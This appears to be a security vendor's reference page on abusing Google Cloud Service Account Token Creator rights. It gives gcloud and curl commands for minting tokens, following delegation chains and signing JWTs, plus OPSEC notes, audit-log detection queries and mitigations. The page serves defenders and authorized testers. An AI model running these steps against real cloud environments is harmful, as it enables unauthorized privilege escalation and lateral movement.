1. Resources
  2. Identity Threats
  3. Google Cloud

Google Cloud Service Account Impersonation (Token Creator)

Also known as: GCP service account impersonation, Service Account Token Creator abuse, iam.serviceAccounts.getAccessToken, signBlob and signJwt abuse, Impersonation delegation chain

A principal with Token Creator rights on a service account mints access tokens, ID tokens or signatures as that account and acts with its roles, without ever holding one of its keys.

Platform
Google Cloud
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
iam.serviceAccounts.getAccessToken, getOpenIdToken, signBlob or signJwt on the target, usually through roles/iam.serviceAccountTokenCreator on the account, its project or a folder.
What the attacker gains
Short-lived credentials for the target service account and every role it holds, in any project. With a chain of accounts, the roles of the last account in the chain.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1548.005, T1550.001, T1078.004.

How it works

A Google Cloud service account is both an identity and a resource. As an identity it is granted roles on projects and resources. As a resource it has its own allow policy, which says who may use it. Service account impersonation is the second direction: a principal that is allowed to use the account asks Google for credentials that represent it.

The IAM Service Account Credentials API (iamcredentials.googleapis.com) issues those credentials. Each method is guarded by one permission on the target account:

Method Permission What comes back
generateAccessToken iam.serviceAccounts.getAccessToken An OAuth 2.0 access token for Google APIs
generateIdToken iam.serviceAccounts.getOpenIdToken An OpenID Connect ID token for one audience
signBlob iam.serviceAccounts.signBlob A signature over arbitrary bytes, made with the account's Google-managed key
signJwt iam.serviceAccounts.signJwt A signed JWT with claims the caller supplies

The Service Account Token Creator role (roles/iam.serviceAccountTokenCreator) contains all four, plus iam.serviceAccounts.implicitDelegation. Custom roles can contain any subset, and the Workload Identity User role contains the two token permissions.

Three properties make this a privilege escalation path:

  • The grant is often inherited. Token Creator bound on a project covers every service account in the project. Bound on a folder or the organization, it covers every service account below. One broad binding to a large group turns each member into every service account.
  • The two policy directions are reviewed separately. A team checks what a service account can reach, and another team checks who holds roles on the project. The binding that connects a low-privileged user to a highly privileged service account sits between those reviews.
  • Nothing durable is created. No key is added and no policy changes. The attacker's own credential is exchanged for a token that expires.

Variants on the same permission set:

  • Delegation chains. Account A may impersonate B, and B may impersonate C. A caller who can impersonate A names the intermediate accounts as delegates and receives a token for C in a single request.
  • Signing instead of minting. signBlob and signJwt look harmless and are equivalent to a token. A signed JWT can be used directly as a credential for many Google APIs, or exchanged at Google's token endpoint for an access token. If the service account has Google Workspace domain-wide delegation, a signed JWT with a sub claim becomes a token for any user in the domain, which is covered in domain-wide delegation abuse.
  • ID tokens. generateIdToken yields a token that services behind Cloud Run, Identity-Aware Proxy or any custom verifier accept as the service account's identity for the stated audience.

Prerequisites

  • A valid credential for a principal that holds one of the four permissions on the target service account, directly or through a group, at the account, project, folder or organization level.
  • The IAM Service Account Credentials API has to be enabled.
  • A target worth the effort: an over-permissioned service account with Owner, Editor or IAM administration roles turns the step into control of a project or the organization.
  • No network position. The API is public, so the call can be made from the attacker's own machine.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find service accounts you may impersonate

gcloud iam service-accounts list --project=lab-project-0001

# Who may use this account: the allow policy on the account itself
gcloud iam service-accounts get-iam-policy \
    deploy-sa@lab-project-0001.iam.gserviceaccount.com

# Inherited grants: Token Creator bound on the project
gcloud projects get-iam-policy lab-project-0001 \
    --flatten="bindings[].members" \
    --filter="bindings.role:roles/iam.serviceAccountTokenCreator" \
    --format="table(bindings.members)"

The wider reconnaissance is described in Google Cloud IAM enumeration.

2. Mint an access token

# One token
gcloud auth print-access-token \
    --impersonate-service-account=deploy-sa@lab-project-0001.iam.gserviceaccount.com

# Or run any gcloud command as the service account
gcloud projects get-iam-policy lab-project-0001 \
    --impersonate-service-account=deploy-sa@lab-project-0001.iam.gserviceaccount.com

# Or make it the default for the session
gcloud config set auth/impersonate_service_account \
    deploy-sa@lab-project-0001.iam.gserviceaccount.com

The same request over REST, which is what scripts and implants use:

TOKEN=$(gcloud auth print-access-token)

curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
    -d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"], "lifetime": "3600s"}' \
    "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/deploy-sa@lab-project-0001.iam.gserviceaccount.com:generateAccessToken"

The maximum lifetime is one hour by default. An organization policy that lists the account under constraints/iam.allowServiceAccountCredentialLifetimeExtension raises it to 12 hours.

3. Follow a delegation chain

# gcloud: comma-separated chain. The active account needs Token Creator on the first
# account, and the first account needs it on the second
gcloud auth print-access-token \
    --impersonate-service-account=build-sa@lab-project-0001.iam.gserviceaccount.com,org-admin-sa@lab-project-0002.iam.gserviceaccount.com

# REST: the intermediate accounts go in "delegates", the target in the URL
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
    -d '{
          "delegates": ["projects/-/serviceAccounts/build-sa@lab-project-0001.iam.gserviceaccount.com"],
          "scope": ["https://www.googleapis.com/auth/cloud-platform"]
        }' \
    "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/org-admin-sa@lab-project-0002.iam.gserviceaccount.com:generateAccessToken"

Each account in the chain must hold Token Creator on the next one, and the last delegate must hold it on the target.

4. Sign instead of minting

# Sign arbitrary bytes with the account's Google-managed key
gcloud iam service-accounts sign-blob input.bin signature.bin \
    --iam-account=deploy-sa@lab-project-0001.iam.gserviceaccount.com

# Sign a JWT whose claims you choose
gcloud iam service-accounts sign-jwt claims.json signed.jwt \
    --iam-account=deploy-sa@lab-project-0001.iam.gserviceaccount.com

# Exchange a signed JWT for an access token at Google's token endpoint
curl -s -X POST https://oauth2.googleapis.com/token \
    --data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer" \
    --data-urlencode "assertion=$(cat signed.jwt)"

For the exchange, claims.json carries the service account as iss, the requested scope, https://oauth2.googleapis.com/token as aud, and iat and exp timestamps.

5. Get an ID token for a protected service

gcloud auth print-identity-token \
    --impersonate-service-account=deploy-sa@lab-project-0001.iam.gserviceaccount.com \
    --audiences=https://internal-app.corp.example.com --include-email

6. Use the token

SA_TOKEN=<access token from step 2>
curl -s -H "Authorization: Bearer $SA_TOKEN" \
    "https://cloudresourcemanager.googleapis.com/v3/projects/lab-project-0001"

Impact

The attacker acts with every role the target service account holds, in every project where it holds them. Service accounts routinely carry roles their human operators do not, so one impersonation step often crosses from a developer's limited access to deployment, IAM administration or production data. This is privilege escalation and lateral movement in one call.

The access renews itself. Each token is short-lived, but the attacker can request another for as long as the binding exists and their own credential works. If the target account can change allow policies, the attacker can then add durable access, such as a service account key or a new binding.

OPSEC and artifacts

  • No key, no policy change. Nothing appears in the key inventory or in the service account's configuration. The request itself is a GenerateAccessToken, GenerateIdToken, SignBlob or SignJwt entry from iamcredentials.googleapis.com. All four are DATA_READ operations, so they are recorded only where Data Access logging is enabled for IAM or for all services.
  • Activity is attributed to the service account. Downstream audit entries show the service account in authenticationInfo.principalEmail. Where the service records it, authenticationInfo.serviceAccountDelegationInfo holds the original caller as firstPartyPrincipal, so impersonation does not hide the user from a reviewer who reads that field.
  • Chains blur the origin. With several delegates, the downstream record lists the delegating identities in order. A service that does not populate the field leaves only the final service account.
  • Signing looks like application behaviour. Applications call signBlob to produce signed URLs, so a single extra signing call hides among them. The audit entry still names the caller and the target account, and nothing in it shows what the signature was used for.
  • Tokens used elsewhere. A minted token can be carried to another machine. Downstream entries then show a requestMetadata.callerIp and callerSuppliedUserAgent that differ from the address that requested the token.
  • Short bursts. One token request and a few API calls within the hour leave only a handful of entries, which is why low volume says nothing about risk here.

Detection

  • A user account creating service account credentials. People rarely need to mint tokens for production service accounts by hand. The service account impersonation rules match the four methods, with a separate rule for calls made by user accounts. The event pages for GenerateAccessToken, GenerateIdToken, SignBlob and SignJwt list the fields.
  • New caller and target pairs. Baseline which principals impersonate which accounts. An unfamiliar signer on a familiar account, or a familiar signer on an unexpected target, deserves review even at low volume.
  • Impersonation rights granted. A SetIAMPolicy on a service account, or a project-level binding, that adds Token Creator or a role with the same permissions. See the impersonation rights rules and the SetIAMPolicy event.
  • Delegated activity on sensitive resources. Downstream entries that carry delegation context for an administrative service account.
log_id("cloudaudit.googleapis.com/data_access")
AND protoPayload.serviceName="iamcredentials.googleapis.com"
AND (
  protoPayload.methodName="GenerateAccessToken"
  OR protoPayload.methodName="GenerateIdToken"
  OR protoPayload.methodName="SignBlob"
  OR protoPayload.methodName="SignJwt"
)
AND NOT protoPayload.authenticationInfo.principalEmail =~ "gserviceaccount.com$"

Group the results by protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName (the target account), method and protoPayload.status.code. To find what was done with delegated credentials, search the resource side:

log_id("cloudaudit.googleapis.com/data_access")
AND protoPayload.authenticationInfo.serviceAccountDelegationInfo:*

A successful mint proves that a credential was issued. It does not identify which later request used it: busy workloads mint tokens for the same account concurrently, so tie issuance to resource activity only when the caller, the target and the time window leave one candidate. Check the audit configuration before trusting an empty result, because an exemption can switch Data Access logging off for one principal.

Mitigation

  • Bind Token Creator on the service account, never on the project, folder or organization. A binding on the account's own allow policy covers one account. Remove inherited grants and replace them with per-account bindings to named callers.
  • Grant the narrowest role. An application that only needs ID tokens should hold roles/iam.serviceAccountOpenIdTokenCreator, which has no signing or access token permission. Custom roles can separate signBlob from getAccessToken.
  • Treat signing permissions as token permissions in every access review. signBlob and signJwt are not lesser rights.
  • Reduce what the target can do. Give each workload its own service account with the roles it needs. Impersonation is worth exactly what the target account holds.
  • Use conditions and deny policies. Time-bound bindings fit temporary elevation, and a deny policy on the impersonation permissions protects the most privileged accounts from broad inherited grants.
  • Enable Data Access logs for IAM (DATA_READ) at the organization level, and confirm that routed copies are retained long enough to investigate.
  • Review who is in the groups. A Token Creator binding to a group is a binding to every current and future member, including nested groups.
  • Prefer federation to keys for outside workloads. Workload identity federation keeps impersonation tied to an external identity with attribute conditions, and leaves no key to steal.

Detection rules for this attack

Log events to collect

FAQ

What does the Service Account Token Creator role allow?

It lets a principal create short-lived credentials for a service account: OAuth 2.0 access tokens, OpenID Connect ID tokens, and signatures over JWTs and binary blobs. It also includes the implicit delegation permission used in delegation chains. Granted on a project or folder, it applies to every service account beneath it.

How is impersonation different from a service account key?

A key is a long-lived secret that leaves Google's custody when it is downloaded. Impersonation creates nothing durable: the caller's own credential is exchanged for a token that expires, by default after one hour. For an attacker that means no key appears in the key inventory, and access lasts only as long as the permission to impersonate does.

Is service account impersonation logged?

The four Service Account Credentials methods are DATA_READ operations, so they are written to Data Access audit logs, and only when Data Access logging is enabled for IAM or for all services. Actions taken with the token are logged under the service account, with the original caller in serviceAccountDelegationInfo where the service records it.

How do you find out who can impersonate a service account?

Read the allow policy of the service account itself, then the allow policies of its project, folders and organization, and look for roles that contain iam.serviceAccounts.getAccessToken, getOpenIdToken, signBlob, signJwt or implicitDelegation. Expand every group in those bindings. Policy Analyzer can answer the question in one query, including group expansion.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.